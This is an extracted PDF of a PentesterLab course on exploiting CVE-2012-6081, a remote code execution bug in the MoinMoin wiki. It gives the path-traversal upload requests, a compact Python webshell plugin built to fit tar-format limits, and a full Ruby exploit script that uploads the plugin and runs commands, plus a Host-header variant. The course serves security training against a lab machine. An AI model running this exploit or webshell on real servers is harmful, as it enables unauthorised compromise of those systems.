You are on page 1of 25


By Louis Nyffenegger <> » CVE-2012-6081: MoinMoin code execution

Table of Content Table of Content Introduction About this exercise
License Syntax of this course The web application

2 4 6
6 6 7

Reading the advisory Triggering the bug Writing a plugin Geting code execution Optimisation

10 11 13 15 23



2/25 » CVE-2012-6081: MoinMoin code execution 3/25 . » CVE-2012-6081: MoinMoin code execution Introduction This course details the exploitation of a code execution in MoinMoin If you feel really confortable (and work with a team). The exploitation is really tricky and there are a lot of things to keep in mind and a lot of cool tricks used in this exploit. To do so. This bug was exploited to compromise http://wiki. you can try to exploit this vulnerability without following the course. 4/25 .org/. the patches of CVE-2012-6080 and and http://wiki. Both incidents have been detailed in the following pages: http://wiki.debian. The exploitation's method used is based on an exploit from Pastebin. you need to follow the following steps: Read the and http://wiki.

5/25 .com » CVE-2012-6081: MoinMoin code execution Read the information from the links above and how the vulnerability was exploited. Use the ISO to understand where the files are stored and how you can manipulate this path. Use the MoinMoin documentation to create a valid MoinMoin plugin.PentesterLab. Use the ISO to understand how the files are stored and how you can manipulate their content and what limitations exist. play with the file until you manage to gain code execution (good luck). Use the vulnerability to deploy your plugin and look at the file generate on the system.

visit Syntax of this course 6/25 .com » CVE-2012-6081: MoinMoin code execution About this exercise License This exercise by PentesterLab is licensed under the Creative Commons Attribution-NonCommercial-NoDerivs 3. To view a copy of this license.0 Unported License.PentesterLab.

. The web application Once the system has booted. The blue boxes are "homework": things you can work on once you are done with this exercise: You should probably work on. The green boxes provide tips and information if you want to go further.. You should probably » CVE-2012-6081: MoinMoin code execution The red boxes provide information on mistakes/issues that are likely to happen while testing: An issue that you may encounter.. you can then retrieve the current IP address of the system using the command ifconfig: 7/25 .PentesterLab.

Throughout the training. you should see the following page: 8/25 .0. your C:\Windows\System32\Drivers\etc\hosts file.15. or you can just add an entry to your host file with this name and the corresponding IP address.2.0 KiB) Interrupt:11 Base address:0x8000 In this example the IP address is 10. the hostname vulnerable is used for the vulnerable machine. It can be easily done by modifying: On Windows. The IP address can change if you restart the » CVE-2012-6081: MoinMoin code execution $ ifconfig eth0 eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56 inet addr:10.15 Bcast:10.0. you can either replace it by the IP address of the machine.0 inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:88 errors:0 dropped:0 overruns:0 frame:0 TX packets:77 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:10300 (10.2.0 KiB) TX bytes:10243 (10. don't forget to update your hosts file.255.0.255. On Unix/Linux and Mac OS X.255 Mask:255. Once you access the web application.PentesterLab. your /etc/hosts file. » CVE-2012-6081: MoinMoin code execution 9/25 .

they are fairly simple: a parameter target was not tainted and is now tainted: 10/25 . CVE-2012-6081: a directory traversal in If you look at the and that can leads to code » CVE-2012-6081: MoinMoin code execution CVE-2012-6081 Reading the advisory The advisory details two vulnerabilities: CVE-2012-6080: a directory traversal in AttachFile.PentesterLab.

tdraw}} (for twikidraw) or (for anywikidraw): {{drawing:test. we need to find a way to access the functionality.PentesterLab. Then. The easiest way to find a page you are allowed to modify is to create an account (the good news is that you don't need it to exploit the vulnerability). you should see an attachment icon: 11/25 . you can create your home page (by clicking "Create my home page now!") and add the following wiki syntax: {{drawing:test. log in and go to your profile (by clicking on your login name on the top left).adraw}} Once you saved the » CVE-2012-6081: MoinMoin code execution Triggering the bug To trigger the bug.

..] <param name="savepath" value="/moin/WikiSandBox? action=twikidraw&amp. the application should give you a Java applet that will allow you to create.0 Host: vulnerable HTTP/ » CVE-2012-6081: MoinMoin code execution Once you click this icon.] In the second request./data/plugin/action/moin HTTP/1./../.PentesterLab.55c876ce10957c9093 689e167ba9d1411e4764e8&"> [....ticket=005163768a. The first request retrieves a ticket that will later be used: GET /moin/WikiSandBox? action=twikidraw&do=modify&target=.. edit and save your drawing./.%2Fdata%2Fplugin%2 Faction%2Fmoinexec. By using a proxy like Burp you can see the requests sent to the server. we can see the ticket parameter and the file sent: 12/25 .%2F..1 200 OK [.do=save&amp..

png" Content-Type: image/png [./. 13/25 ./.py HTTP/1.PentesterLab....81c62af99e648ca56444788f93 8f8c3b793bb853&target=.1 Host: vulnerable Content-Type: multipart/ » CVE-2012-6081: MoinMoin code execution POST /moin/WikiSandBox? action=twikidraw&do=save&ticket=00516376c4. boundary=pentesterlab Content-Length: 333 --pentesterlab Content-Disposition: form-data. the vulnerability was exploited by creating a plugin../data/plugin/action/moinexec.. name="filename" Content-Type: image/png drawing.. It's a common way to get code execution once you are able to write a file on the system.png --pentesterlab Content-Disposition: form-data. name="filepath"./.] --pentesterlab-- Writing a plugin According to Debian's details. filename="drawing.

we will need to use request): [.. We can see that everything is working just fine by accessing the page http://vulnerable/moin/WikiSandBox? action=test&cmd=uname%20-a: 14/25 .read()) If we manually (using the shell access) deploy this plugin inside the plugin directory of MoinMoin (/var/lib/moin/mywiki/data/plugin/action/) and name it test.] Now our goal is to use this plugin to gain code execution. Formatter and Theme.. The more appropriate for our usage seems to be the Action.write(stream. Parser.PentesterLab. request): stream = os. An Action plugin has to follow this API: def execute(pagename.popen(request.values['cmd']) request. Macro.popen to run commands and write the result of the command in the response: import os def execute( » CVE-2012-6081: MoinMoin code execution By reading the Moinmoin's documentation. we can see that there are multiple types of plugins: Action.

py line 630).. pagename.. However the extension ext is concatenate to the string drawing.ContainerItem(request.splitext(basename) [. you can see that the following actions are performed with the filename: basepath. The file will then be put in a tar file by the line ci.path. two values are under user's control: the filename's extension: ext. One of the hard constraint is that our code needs to be the first thing in the file.put (in MoinMoin/action/AttachFile.. If we look at the tar format we can see that the filename will be used as if (and therefore be the first thing in the file) unless its size is less than 100 characters.split(filename) basename. content_length) In this code. target) [. 15/25 » CVE-2012-6081: MoinMoin code execution Geting code execution If you follow the execution path. filecontent.] ci. ext = os.put('drawing' + ext. basename = os.] ci = AttachFile. the content of the file: filecontent.

"w")"101. 'w') f.unlink("a"*101) We can now see the difference between the two files: 16/25 .open("100.add("a"*100) tar100.tar".unlink("a"*100) os. 'w') » CVE-2012-6081: MoinMoin code execution We can test this and check Python's behaviour by creating 2 files with a filename of 100 and 101 characters and use Python to generate the corresponding tar file: import os import tarfile # 100 characters filename f = open("a"*100.tar". "w") tar100.close tar101 = tarfile.close tar100 = tarfile.close() # cleanup os.close() # 101 characters filename f = open("a"*101.PentesterLab.add("a"*101) tar101.

(otherwise it will be considered as the start of the extension).com » CVE-2012-6081: MoinMoin code execution % cat 100.tar . Problem is there is no drawing object used before. therefore the payload need to make sure this code will not get called./@LongLink0000000000000000000000000000014600000000000011216 Lustar 00000000000000aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaa0000644000076500000240000000000012132453221034255 0ustar snyffstaff00000000000000 As we said before we only control the extension part of the filename.tar aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa00006440000765000002400000000000121 32453221034255 0ustar snyffstaff00000000000000 % cat 101.z if()else() This line will ensure that the code drawing./. 17/25 . Based on the code above. we know that our final Python code (the plugin) will look like drawing[. and cannot contain any further .PentesterLab.PAYLOAD]. The actual exploit use an always-false condition to avoid this and a unusual way to write if statement in Python: drawing. Since it's an extension our payload needs to start with a .z does not get called.

read()) We can get rid of the .PentesterLab. 18/25 . (and that there is also a length problem): drawing. this payload is still too big and won't fit in the 100-characters limit created by the tar file format.write(os. r): exec("r\x2ewrite(os\x2epopen(r\x2evalues['c'])\x2eread())") However.z if()else() import os def execute(pagename.values['c']).z if()else() import os def execute(p. request): stream = os.z if()else() import os def execute(p.popen(r.write( » CVE-2012-6081: MoinMoin code execution Now. by using python's function exec and pass it a string with the .values['cmd']) request. r): r. encoded as \x2e: drawing. if we go back to the initial plugin's We can quickly rewrite it using smaller variables' name: drawing.popen(request. we can see that there are several .

..z if()else() import os def execute(p. the encoded payload to be used within the Python code is: payload = "drawing.: \56.s if()else()\n import os\n def execute(p.r):exec\"print>>r. The new payload is smaller (104 characters but still too big): drawing.z if()else() import os def execute(p. r): exec("r\56write(os\56popen(r\56values['c'])\56read())") The last improvment done to reduce the size of the payload is to replace r\56write(.PentesterLab. 19/25 . encoded as \56) and remove the brackets used by exec: drawing. r): exec"print>>r.os\56popen(r\56values['c'])\56read()" Finally....os\\56popen(r\\56values['c'])\\56read()\"" If we put together all the constraints on the payload that the exploit manages to bypass we get the following: 1. (to avoid the .) by print>> » CVE-2012-6081: MoinMoin code execution It's possible to save few characters by replacing \x2e by the octal representation of a . It's valid python code.

.com » CVE-2012-6081: MoinMoin code execution 2.r):.) 5.PentesterLab. 4. We can now use it as part of a script used to get the ticket and upload the malicious plugin: 20/25 . It is less than 100 characters (due to the tar format). 3. It contains def execute(p. It starts with drawing. It does not contain any dot (.

new('vulnerable'.read end resp end #}} # getting valid ticket resp = ssend("GET /moin/WikiSandBox? action=twikidraw&do=modify&target=.0\r\n Host: vulnerable\r\n\r\n ") if resp =~ /ticket=(.py HTTP/1.to_i) else resp = socket./data/plugin/action/moinexec./.readline and !s..write(req) resp = "" s="" while (s= socket.80) puts req socket.PentesterLab... gzip.././.target=/ ticket = $1 21/25 .*?)&amp.nil? ) puts s resp+= s break if s =~ /^\r\n$/ end if resp=~ /^Content-Length:\s+(\d+)\s*$/i resp+= » CVE-2012-6081: MoinMoin code execution require 'socket' # function used to send request # does not support chunk. zlib :p def ssend(req) #{{$1.

1\r\n Host: vulnerable\r\n Content-Type: multipart/formdata.PentesterLab.to_s+"\r\n\r\n "+body puts ssend(head+body.png\"\r\n Content-Type: image/png\r\n\r\n BLAH\r\n -pentesterlab--\r\n " #Final request puts head+body..size.././.to_s+"\r\n\r\n "+body) 22/25 . filename=\"drawing..size. name=\"filepath\".os\\56popen(r\\56values['c'])\\56read()\"" # Building the request's body: body = "--pentesterlab\r\n " # Payload: body += "Content-Disposition: » CVE-2012-6081: MoinMoin code execution end head = "POST /moin/WikiSandBox? action=twikidraw&do=save&ticket=#{ ticket } & HTTP/1. boundary=pentesterlab\r\n Content-Length: " payload = "drawing.s if()else()\n import os\n def execute(p.. name=\"filename\"\r\n Content-Type: image/png\r\n\r\n#{ payload}\r\n --pentesterlab\r\n " # File content: body += "Content-Disposition: form-data.r):exec\"print>>r./data/plugin/action /moinexec./.

After running this script. it's possible to find other optimisations. is to use the method host. we can finally get commands execution by accessing http://vulnerable/moin/WikiSandBox? action=moinexec&c=uname%20-a: Optimisation After understanding all the restrictions bypassed by the exploit. you can find that the methods args is similar to values and is shorter. Most installations are likely to use WSCGI or mod_python and they will require a restart before your plugin get loaded. Another method.PentesterLab. which allows you to gain code execution without restarting the server. instead of args['c'] and to directly inject the command inside the Host header: 23/25 .com » CVE-2012-6081: MoinMoin code execution Here the Moinmoin installation uses CGI. the request is based on the Request class from the Python project werkzeug. First. That can be used to save two bytes. If you check the source code or the documentation.

com » CVE-2012-6081: MoinMoin code execution payload = "drawing.s if()else()\n import os\n def execute(p.PentesterLab. It's still a funny example of what can be done. however it will not work if the server uses virtual hosting.r):exec\"print>>r.1 Host: uname -a 24/25 . the following request can be used to run commands (example with uname -a): GET /moin/WikiSandBox?action=moinexec HTTP/1.os\\56popen(r\\56host)\\56read()\"" It allows us to save several bytes. If you choose this method.

25/25 .volvent.cgi?id=CVE-2012-6081. that's why it's always interesting to have a closer look. It's a very neat exploit and it shows multiple tricks to finally get code execution and that's why I thought it was worth working on it. You can use Talkback to get updates on the vulnerability: http://talkback. As always. when a project like MoinMoin get a command execution vulnerabilities found. I hope the course provides you with more details on how this vulnerability works and how you can get a working » CVE-2012-6081: MoinMoin code execution Conclusion This exercise showed you how to exploit the code execution in MoinMoin wiki (aka CVE-2012-6081). it's unlikely to be a trivial bug.